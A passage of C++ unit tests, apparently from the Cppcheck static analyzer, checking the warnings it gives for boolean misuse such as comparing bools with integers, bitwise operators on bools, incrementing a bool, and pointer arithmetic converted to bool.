or 1. [compareBoolExpressionWithInt]\\n\", errout_str());\n\n check(\"void f(int a, int b, int c) {\\n\"\n \" return (a > b) < c;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int a, int b, int c) {\\n\"\n \" return x(a > b) < c;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int a, int b, int c) {\\n\"\n \" return a > b == c;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // templates\n check(\"struct Tokenizer { TokenList list; };\\n\"\n \"void Tokenizer::f() {\\n\"\n \" std::list locationList;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #5063 - or\n check(\"void f() {\\n\"\n \" return a > b or c < d;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f() {\\n\"\n \" return (a < b) != 0U;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"int f() {\\n\"\n \" return (a < b) != 0x0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"int f() {\\n\"\n \" return (a < b) != 42U;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:18]: (warning) Comparison of a boolean expression with an integer other than 0 or 1. [compareBoolExpressionWithInt]\\n\", errout_str());\n }\n\n void checkComparisonOfFuncReturningBool1() {\n check(\"void f(){\\n\"\n \" int temp = 4;\\n\"\n \" if(compare1(temp) > compare2(temp)){\\n\"\n \" printf(\\\"foo\\\");\\n\"\n \" }\\n\"\n \"}\\n\"\n \"bool compare1(int temp){\\n\"\n \" if(temp==4){\\n\"\n \" return true;\\n\"\n \" }\\n\"\n \" else\\n\"\n \" return false;\\n\"\n \"}\\n\"\n \"bool compare2(int temp){\\n\"\n \" if(temp==4){\\n\"\n \" return false;\\n\"\n \" }\\n\"\n \" else\\n\"\n \" return true;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:17]: (style) Comparison of two functions returning boolean value using relational (<, >, <= or >=) operator. [comparisonOfTwoFuncsReturningBoolError]\\n\", errout_str());\n }\n\n void checkComparisonOfFuncReturningBool2() {\n check(\"void leftOfComparison(){\\n\"\n \" int temp = 4;\\n\"\n \" bool a = true;\\n\"\n \" if(compare(temp) > a){\\n\"\n \" printf(\\\"foo\\\");\\n\"\n \" }\\n\"\n \"}\\n\"\n \"void rightOfComparison(){\\n\"\n \" int temp = 4;\\n\"\n \" bool a = true;\\n\"\n \" if(a < compare(temp)){\\n\"\n \" printf(\\\"foo\\\");\\n\"\n \" }\\n\"\n \"}\\n\"\n \"bool compare(int temp){\\n\"\n \" if(temp==4){\\n\"\n \" return true;\\n\"\n \" }\\n\"\n \" else\\n\"\n \" return false;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:12]: (style) Comparison of a function returning boolean value using relational (<, >, <= or >=) operator. [comparisonOfFuncReturningBoolError]\\n\"\n \"[test.cpp:11:7]: (style) Comparison of a function returning boolean value using relational (<, >, <= or >=) operator. [comparisonOfFuncReturningBoolError]\\n\", errout_str());\n }\n\n void checkComparisonOfFuncReturningBool3() {\n check(\"void f(){\\n\"\n \" int temp = 4;\\n\"\n \" if(compare(temp) > temp){\\n\"\n \" printf(\\\"foo\\\");\\n\"\n \" }\\n\"\n \"}\\n\"\n \"bool compare(int temp);\");\n ASSERT_EQUALS(\"[test.cpp:3:19]: (warning) Comparison of a boolean expression with an integer other than 0 or 1. [compareBoolExpressionWithInt]\\n\"\n \"[test.cpp:3:12]: (style) Comparison of a function returning boolean value using relational (<, >, <= or >=) operator. [comparisonOfFuncReturningBoolError]\\n\", errout_str());\n }\n\n void checkComparisonOfFuncReturningBool4() {\n check(\"void f(){\\n\"\n \" int temp = 4;\\n\"\n \" bool b = compare2(6);\\n\"\n \" if(compare1(temp)> b){\\n\"\n \" printf(\\\"foo\\\");\\n\"\n \" }\\n\"\n \"}\\n\"\n \"bool compare1(int temp){\\n\"\n \" if(temp==4){\\n\"\n \" return true;\\n\"\n \" }\\n\"\n \" else\\n\"\n \" return false;\\n\"\n \"}\\n\"\n \"bool compare2(int temp){\\n\"\n \" if(temp == 5){\\n\"\n \" return true;\\n\"\n \" }\\n\"\n \" else\\n\"\n \" return false;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:13]: (style) Comparison of a function returning boolean value using relational (<, >, <= or >=) operator. [comparisonOfFuncReturningBoolError]\\n\", errout_str());\n }\n\n void checkComparisonOfFuncReturningBool5() {\n check(\"void f(){\\n\"\n \" int temp = 4;\\n\"\n \" if(compare1(temp) > !compare2(temp)){\\n\"\n \" printf(\\\"foo\\\");\\n\"\n \" }\\n\"\n \"}\\n\"\n \"bool compare1(int temp){\\n\"\n \" if(temp==4){\\n\"\n \" return true;\\n\"\n \" }\\n\"\n \" else\\n\"\n \" return false;\\n\"\n \"}\\n\"\n \"bool compare2(int temp){\\n\"\n \" if(temp==4){\\n\"\n \" return false;\\n\"\n \" }\\n\"\n \" else\\n\"\n \" return true;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:17]: (style) Comparison of two functions returning boolean value using relational (<, >, <= or >=) operator. [comparisonOfTwoFuncsReturningBoolError]\\n\", errout_str());\n }\n\n void checkComparisonOfFuncReturningBool6() {\n check(\"int compare1(int temp);\\n\"\n \"namespace Foo {\\n\"\n \" bool compare1(int temp);\\n\"\n \"}\\n\"\n \"void f(){\\n\"\n \" int temp = 4;\\n\"\n \" if(compare1(temp) > compare2(temp)){\\n\"\n \" printf(\\\"foo\\\");\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"namespace Foo {\\n\"\n \" bool compare1(int temp);\\n\"\n \"}\\n\"\n \"int compare1(int temp);\\n\"\n \"void f(){\\n\"\n \" int temp = 4;\\n\"\n \" if(compare1(temp) > compare2(temp)){\\n\"\n \" printf(\\\"foo\\\");\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int compare1(int temp);\\n\"\n \"namespace Foo {\\n\"\n \" bool compare1(int temp);\\n\"\n \" void f(){\\n\"\n \" int temp = 4;\\n\"\n \" if(compare1(temp) > compare2(temp)){\\n\"\n \" printf(\\\"foo\\\");\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:20]: (style) Comparison of a function returning boolean value using relational (<, >, <= or >=) operator. [comparisonOfFuncReturningBoolError]\\n\", errout_str());\n\n check(\"int compare1(int temp);\\n\"\n \"namespace Foo {\\n\"\n \" bool compare1(int temp);\\n\"\n \" void f(){\\n\"\n \" int temp = 4;\\n\"\n \" if(::compare1(temp) > compare2(temp)){\\n\"\n \" printf(\\\"foo\\\");\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool compare1(int temp);\\n\"\n \"void f(){\\n\"\n \" int temp = 4;\\n\"\n \" if(foo.compare1(temp) > compare2(temp)){\\n\"\n \" printf(\\\"foo\\\");\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void checkComparisonOfFuncReturningBool7() { // #7197\n check(\"struct C {\\n\"\n \" bool isEmpty();\\n\"\n \"};\\n\"\n \"void f() {\\n\"\n \" C c1, c2;\\n\"\n \" if ((c1.isEmpty()) < (c2.isEmpty())) {}\\n\"\n \" if (!c1.isEmpty() < !!c2.isEmpty()) {}\\n\"\n \" if ((int)c1.isEmpty() < (int)c2.isEmpty()) {}\\n\"\n \" if (static_cast(c1.isEmpty()) < static_cast(c2.isEmpty())) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:6:20]: (style) Comparison of two functions returning boolean value using relational (<, >, <= or >=) operator. [comparisonOfTwoFuncsReturningBoolError]\\n\"\n \"[test.cpp:7:20]: (style) Comparison of two functions returning boolean value using relational (<, >, <= or >=) operator. [comparisonOfTwoFuncsReturningBoolError]\\n\"\n \"[test.cpp:8:24]: (style) Comparison of two functions returning boolean value using relational (<, >, <= or >=) operator. [comparisonOfTwoFuncsReturningBoolError]\\n\"\n \"[test.cpp:9:36]: (style) Comparison of two functions returning boolean value using relational (<, >, <= or >=) operator. [comparisonOfTwoFuncsReturningBoolError]\\n\",\n errout_str());\n }\n\n void checkComparisonOfFuncReturningBool8() { // #4103\n // op: >\n check(\"int main(void){\\n\"\n \" bool a = true;\\n\"\n \" bool b = false;\\n\"\n \" if(b > a){ \\n\" // here warning should be displayed\n \" ;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:10]: (style) Comparison of a variable having boolean value using relational (<, >, <= or >=) operator. [comparisonOfBoolWithBoolError]\\n\", errout_str());\n // op: <\n check(\"int main(void){\\n\"\n \" bool a = true;\\n\"\n \" bool b = false;\\n\"\n \" if(b < a){ \\n\" // here warning should be displayed\n \" ;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:10]: (style) Comparison of a variable having boolean value using relational (<, >, <= or >=) operator. [comparisonOfBoolWithBoolError]\\n\", errout_str());\n // op: >=\n check(\"int main(void){\\n\"\n \" bool a = true;\\n\"\n \" bool b = false;\\n\"\n \" if(b >= a){ \\n\" // here warning should be displayed\n \" ;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:10]: (style) Comparison of a variable having boolean value using relational (<, >, <= or >=) operator. [comparisonOfBoolWithBoolError]\\n\", errout_str());\n // op: <=\n check(\"int main(void){\\n\"\n \" bool a = true;\\n\"\n \" bool b = false;\\n\"\n \" if(b <= a){ \\n\" // here warning should be displayed\n \" ;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:10]: (style) Comparison of a variable having boolean value using relational (<, >, <= or >=) operator. [comparisonOfBoolWithBoolError]\\n\", errout_str());\n }\n\n void checkComparisonOfFuncReturningBoolIntegrationTest1() { // #7798\n check(\"bool eval(double *) { return false; }\\n\"\n \"double eval(char *) { return 1.0; }\\n\"\n \"int main(int argc, char *argv[])\\n\"\n \"{\\n\"\n \" if ( eval(argv[1]) > eval(argv[2]) )\\n\"\n \" return 1;\\n\"\n \" return 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void checkComparisonOfBoolWithBool() {\n const char code[] = \"void f(){\\n\"\n \" int temp = 4;\\n\"\n \" bool b = compare2(6);\\n\"\n \" bool a = compare1(4);\\n\"\n \" if(b > a){\\n\"\n \" printf(\\\"foo\\\");\\n\"\n \" }\\n\"\n \"}\\n\"\n \"bool compare1(int temp){\\n\"\n \" if(temp==4){\\n\"\n \" return true;\\n\"\n \" }\\n\"\n \" else\\n\"\n \" return false;\\n\"\n \"}\\n\"\n \"bool compare2(int temp){\\n\"\n \" if(temp == 5){\\n\"\n \" return true;\\n\"\n \" }\\n\"\n \" else\\n\"\n \" return false;\\n\"\n \"}\\n\";\n check(code);\n ASSERT_EQUALS(\"[test.cpp:5:10]: (style) Comparison of a variable having boolean value using relational (<, >, <= or >=) operator. [comparisonOfBoolWithBoolError]\\n\", errout_str());\n }\n\n void bitwiseOnBoolean() { // 3062\n check(\"void f(_Bool a, _Bool b) {\\n\"\n \" if(a & b) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:10]: (style, inconclusive) Boolean expression 'a' is used in bitwise operation. Did you mean '&&'? [bitwiseOnBoolean]\\n\", errout_str());\n\n check(\"void f(_Bool a, _Bool b) {\\n\"\n \" if(a | b) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:10]: (style, inconclusive) Boolean expression 'a' is used in bitwise operation. Did you mean '||'? [bitwiseOnBoolean]\\n\", errout_str());\n\n check(\"void f(bool a, bool b) {\\n\"\n \" if(a & !b) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:10]: (style, inconclusive) Boolean expression 'a' is used in bitwise operation. Did you mean '&&'? [bitwiseOnBoolean]\\n\", errout_str());\n\n check(\"void f(bool a, bool b) {\\n\"\n \" if(a | !b) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:10]: (style, inconclusive) Boolean expression 'a' is used in bitwise operation. Did you mean '||'? [bitwiseOnBoolean]\\n\", errout_str());\n\n check(\"bool a, b;\\n\"\n \"void f() {\\n\"\n \" if(a & b) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (style, inconclusive) Boolean expression 'a' is used in bitwise operation. Did you mean '&&'? [bitwiseOnBoolean]\\n\", errout_str());\n\n check(\"bool a, b;\\n\"\n \"void f() {\\n\"\n \" if(a & !b) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (style, inconclusive) Boolean expression 'a' is used in bitwise operation. Did you mean '&&'? [bitwiseOnBoolean]\\n\", errout_str());\n\n check(\"bool a, b;\\n\"\n \"void f() {\\n\"\n \" if(a | b) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (style, inconclusive) Boolean expression 'a' is used in bitwise operation. Did you mean '||'? [bitwiseOnBoolean]\\n\", errout_str());\n\n check(\"bool a, b;\\n\"\n \"void f() {\\n\"\n \" if(a | !b) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (style, inconclusive) Boolean expression 'a' is used in bitwise operation. Did you mean '||'? [bitwiseOnBoolean]\\n\", errout_str());\n\n check(\"void f(bool a, int b) {\\n\"\n \" if(a & b) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:10]: (style, inconclusive) Boolean expression 'a' is used in bitwise operation. Did you mean '&&'? [bitwiseOnBoolean]\\n\", errout_str());\n\n check(\"void f(int a, bool b) {\\n\"\n \" if(a & b) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:10]: (style, inconclusive) Boolean expression 'b' is used in bitwise operation. Did you mean '&&'? [bitwiseOnBoolean]\\n\", errout_str());\n\n check(\"void f(int a, int b) {\\n\"\n \" if((a > 0) & (b < 0)) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:16]: (style, inconclusive) Boolean expression 'a>0' is used in bitwise operation. Did you mean '&&'? [bitwiseOnBoolean]\\n\", errout_str());\n\n check(\"void f(bool a, int b) {\\n\"\n \" if(a | b) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:10]: (style, inconclusive) Boolean expression 'a' is used in bitwise operation. Did you mean '||'? [bitwiseOnBoolean]\\n\", errout_str());\n\n check(\"void f(int a, bool b) {\\n\"\n \" if(a | b) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:10]: (style, inconclusive) Boolean expression 'b' is used in bitwise operation. Did you mean '||'? [bitwiseOnBoolean]\\n\", errout_str());\n\n check(\"int f(bool a, int b) {\\n\"\n \" return a | b;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool f(bool a, int b) {\\n\"\n \" return a | b;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:14]: (style, inconclusive) Boolean expression 'a' is used in bitwise operation. Did you mean '||'? [bitwiseOnBoolean]\\n\", errout_str());\n\n check(\"void f(int a, int b) {\\n\"\n \" if(a & b) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(bool b) {\\n\"\n \" foo(bar, &b);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(bool b) {\\n\" // #9405\n \" class C { void foo(bool &b) {} };\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool f();\\n\"\n \"bool g() {\\n\"\n \" return f() | f();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"uint8 outcode(float p) {\\n\"\n \" float d = 0.;\\n\"\n \" return ((p - xm >= d) << 1) | (x - p > d);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int g();\\n\" // #10655\n \"void f(bool b) {\\n\"\n \" if (g() | b) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:13]: (style, inconclusive) Boolean expression 'b' is used in bitwise operation. Did you mean '||'? [bitwiseOnBoolean]\\n\", errout_str());\n\n check(\"int g();\\n\"\n \"void f(bool b) {\\n\"\n \" if (b | g()) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int g();\\n\"\n \"bool f(bool b, bool c) {\\n\"\n \" return b | g() | c;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:20]: (style, inconclusive) Boolean expression 'c' is used in bitwise operation. Did you mean '||'? [bitwiseOnBoolean]\\n\", errout_str());\n\n check(\"void f(int i) {\\n\" // #4233\n \" bool b = true, c = false;\\n\"\n \" b &= i;\\n\"\n \" c |= i;\\n\"\n \" if (b || c) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:7]: (style, inconclusive) Boolean expression 'b' is used in bitwise operation. [bitwiseOnBoolean]\\n\"\n \"[test.cpp:4:7]: (style, inconclusive) Boolean expression 'c' is used in bitwise operation. [bitwiseOnBoolean]\\n\",\n errout_str());\n\n check(\"void f(int i, int j, bool b) {\\n\"\n \" i &= b;\\n\"\n \" j |= b;\\n\"\n \" if (b || c) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool f(bool b, int i) {\\n\"\n \" b &= (i == 5);\\n\"\n \" return b;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S { bool b{}; };\\n\" // #12455\n \"void f(const std::unordered_map m) {\\n\"\n \" for (const auto& e : m) {\\n\"\n \" S s;\\n\"\n \" s.b |= e.second.b;\\n\"\n \" (void)s.b;\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void incrementBoolean() {\n check(\"bool bValue = true;\\n\"\n \"void f() { bValue++; }\");\n ASSERT_EQUALS(\"[test.cpp:2:12]: (style) Incrementing a variable of type 'bool' with postfix operator++ is deprecated by the C++ Standard. You should assign it the value 'true' instead. [incrementboolean]\\n\", errout_str());\n\n check(\"void f(bool test){\\n\"\n \" test++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:5]: (style) Incrementing a variable of type 'bool' with postfix operator++ is deprecated by the C++ Standard. You should assign it the value 'true' instead. [incrementboolean]\\n\", errout_str());\n\n check(\"void f(bool* test){\\n\"\n \" (*test)++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:6]: (style) Incrementing a variable of type 'bool' with postfix operator++ is deprecated by the C++ Standard. You should assign it the value 'true' instead. [incrementboolean]\\n\", errout_str());\n\n check(\"void f(bool* test){\\n\"\n \" test[0]++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) Incrementing a variable of type 'bool' with postfix operator++ is deprecated by the C++ Standard. You should assign it the value 'true' instead. [incrementboolean]\\n\", errout_str());\n\n check(\"void f(int test){\\n\"\n \" test++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void comparisonOfBoolWithInt1() {\n check(\"void f(bool x) {\\n\"\n \" if (x < 10) {\\n\"\n \" printf(\\\"foo\\\");\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (warning) Comparison of a boolean expression with an integer other than 0 or 1. [compareBoolExpressionWithInt]\\n\", errout_str());\n\n check(\"void f(bool x) {\\n\"\n \" if (10 >= x) {\\n\"\n \" printf(\\\"foo\\\");\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:12]: (warning) Comparison of a boolean expression with an integer other than 0 or 1. [compareBoolExpressionWithInt]\\n\", errout_str());\n\n check(\"void f(bool x) {\\n\"\n \" if (x != 0) {\\n\"\n \" printf(\\\"foo\\\");\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(bool x) {\\n\" // #3356\n \" if (x == 1) {\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(bool x) {\\n\"\n \" if (x != 10) {\\n\"\n \" printf(\\\"foo\\\");\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (warning) Comparison of a boolean expression with an integer other than 0 or 1. [compareBoolExpressionWithInt]\\n\", errout_str());\n\n check(\"void f(bool x) {\\n\"\n \" if (x == 10) {\\n\"\n \" printf(\\\"foo\\\");\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (warning) Comparison of a boolean expression with an integer other than 0 or 1. [compareBoolExpressionWithInt]\\n\", errout_str());\n\n check(\"void f(bool x) {\\n\"\n \" if (x == 0) {\\n\"\n \" printf(\\\"foo\\\");\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"DensePropertyMap visited;\"); // #4075\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void comparisonOfBoolWithInt2() {\n check(\"void f(bool x, int y) {\\n\"\n \" if (x == y) {\\n\"\n \" printf(\\\"foo\\\");\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x, bool y) {\\n\"\n \" if (x == y) {\\n\"\n \" printf(\\\"foo\\\");\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(bool x, bool y) {\\n\"\n \" if (x == y) {\\n\"\n \" printf(\\\"foo\\\");\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(bool x, fooClass y) {\\n\"\n \" if (x == y) {\\n\"\n \" printf(\\\"foo\\\");\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void comparisonOfBoolWithInt3() {\n check(\"void f(int y) {\\n\"\n \" if (y > false) {\\n\"\n \" printf(\\\"foo\\\");\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:13]: (warning) Comparison of a boolean value using relational operator (<, >, <= or >=). [comparisonOfBoolWithInvalidComparator]\\n\", errout_str());\n\n check(\"void f(int y) {\\n\"\n \" if (true == y) {\\n\"\n \" printf(\\\"foo\\\");\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(bool y) {\\n\"\n \" if (y == true) {\\n\"\n \" printf(\\\"foo\\\");\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(bool y) {\\n\"\n \" if (false < 5) {\\n\"\n \" printf(\\\"foo\\\");\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:15]: (warning) Comparison of a boolean expression with an integer other than 0 or 1. [compareBoolExpressionWithInt]\\n\", errout_str());\n }\n\n void comparisonOfBoolWithInt4() {\n check(\"void f(int x) {\\n\"\n \" if (!x == 1) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void comparisonOfBoolWithInt5() {\n check(\"void SetVisible(int index, bool visible) {\\n\"\n \" bool (SciTEBase::*ischarforsel)(char ch);\\n\"\n \" if (visible != GetVisible(index)) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void comparisonOfBoolWithInt6() { // #4224 - integer is casted to bool\n check(\"void SetVisible(bool b, int i) {\\n\"\n \" if (b == (bool)i) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void comparisonOfBoolWithInt7() { // #4846 - (!x==true)\n check(\"void f(int x) {\\n\"\n \" if (!x == true) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void comparisonOfBoolWithInt8() { // #9165\n check(\"bool Fun();\\n\"\n \"void Test(bool expectedResult) {\\n\"\n \" auto res = Fun();\\n\"\n \" if (expectedResult == res)\\n\"\n \" throw 2;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int Fun();\\n\"\n \"void Test(bool expectedResult) {\\n\"\n \" auto res = Fun();\\n\"\n \" if (expectedResult == res)\\n\"\n \" throw 2;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool Fun();\\n\"\n \"void Test(bool expectedResult) {\\n\"\n \" auto res = Fun();\\n\"\n \" if (5 + expectedResult == res)\\n\"\n \" throw 2;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int Fun();\\n\"\n \"void Test(bool expectedResult) {\\n\"\n \" auto res = Fun();\\n\"\n \" if (5 + expectedResult == res)\\n\"\n \" throw 2;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int Fun();\\n\"\n \"void Test(bool expectedResult) {\\n\"\n \" auto res = Fun();\\n\"\n \" if (expectedResult == res + 5)\\n\"\n \" throw 2;\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"error\", \"\", errout_str());\n }\n\n void comparisonOfBoolWithInt9() { // #9304\n check(\"bool f(int a, bool b)\\n\"\n \"{\\n\"\n \" if ((a == 0 ? false : true) != b) {\\n\"\n \" b = !b;\\n\"\n \" }\\n\"\n \" return b;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void comparisonOfBoolWithInt10() { // #10935\n check(\"enum class E { H = 2 };\\n\"\n \"template \\n\"\n \"void f(bool v) {\\n\"\n \" if (v == H) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"namespace N {\\n\"\n \" enum class E { H = 2 };\\n\"\n \"}\\n\"\n \"void f(bool v) {\\n\"\n \" if (v == N::H) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n\n void pointerArithBool1() { // #5126\n check(\"void f(char *p) {\\n\"\n \" if (p+1){}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:10]: (error) Converting pointer arithmetic result to bool. The bool is always true unless there is undefined behaviour. [pointerArithBool]\\n\", errout_str());\n\n check(\"void f(char *p) {\\n\"\n \" do {} while (p+1);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:19]: (error) Converting pointer arithmetic result to bool. The bool is always true unless there is undefined behaviour. [pointerArithBool]\\n\", errout_str());\n\n check(\"void f(char *p) {\\n\"\n \" while (p-1) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:13]: (error) Converting pointer arithmetic result to bool. The bool is always true unless there is undefined behaviour. [pointerArithBool]\\n\", errout_str());\n\n check(\"void f(char *p) {\\n\"\n \" for (int i = 0; p+1; i++) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:22]: (error) Converting pointer arithmetic result to bool. The bool is always true unless there is undefined behaviour. [pointerArithBool]\\n\", errout_str());\n\n check(\"void f(char *p) {\\n\"\n \" if (p && p+1){}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:15]: (error) Converting pointer arithmetic result to bool. The bool is always true unless there is undefined behaviour. [pointerArithBool]\\n\", errout_str());\n\n check(\"void f(char *p) {\\n\"\n \" if (p+2 || p) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:10]: (error) Converting pointer arithmetic result to bool. The bool is always true unless there is undefined behaviour. [pointerArithBool]\\n\", errout_str());\n }\n\n void returnNonBool() {\n check(\"bool f(void) {\\n\"\n \" return 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool f(void) {\\n\"\n \" return 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool f(void) {\\n\"\n \" return 2;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:5]: (style) Non-boolean value returned from function returning bool [returnNonBoolInBooleanFunction]\\n\", errout_str());\n\n check(\"bool f(void) {\\n\"\n \" return -1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:5]: (style) Non-boolean value returned from function returning bool [returnNonBoolInBooleanFunction]\\n\", errout_str());\n\n check(\"bool f(void) {\\n\"\n \" return 1 + 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:5]: (style) Non-boolean value returned from function returning bool [returnNonBoolInBooleanFunction]\\n\", errout_str());\n\n check(\"bool f(void) {\\n\"\n \" int x = 0;\\n\"\n \" return x;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool f(void) {\\n\"\n \" int x = 10;\\n\"\n \" return x;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (style) Non-boolean value returned from function returning bool [returnNonBoolInBooleanFunction]\\n\", errout_str());\n\n check(\"bool f(void) {\\n\"\n \" return 2 < 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool f(void) {\\n\"\n \" int ret = 0;\\n\"\n \" if (a)\\n\"\n \" ret = 1;\\n\"\n \" return ret;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool f(void) {\\n\"\n \" int ret = 0;\\n\"\n \" if (a)\\n\"\n \" ret = 3;\\n\"\n \" return ret;\\n\"\n \"}\");\n 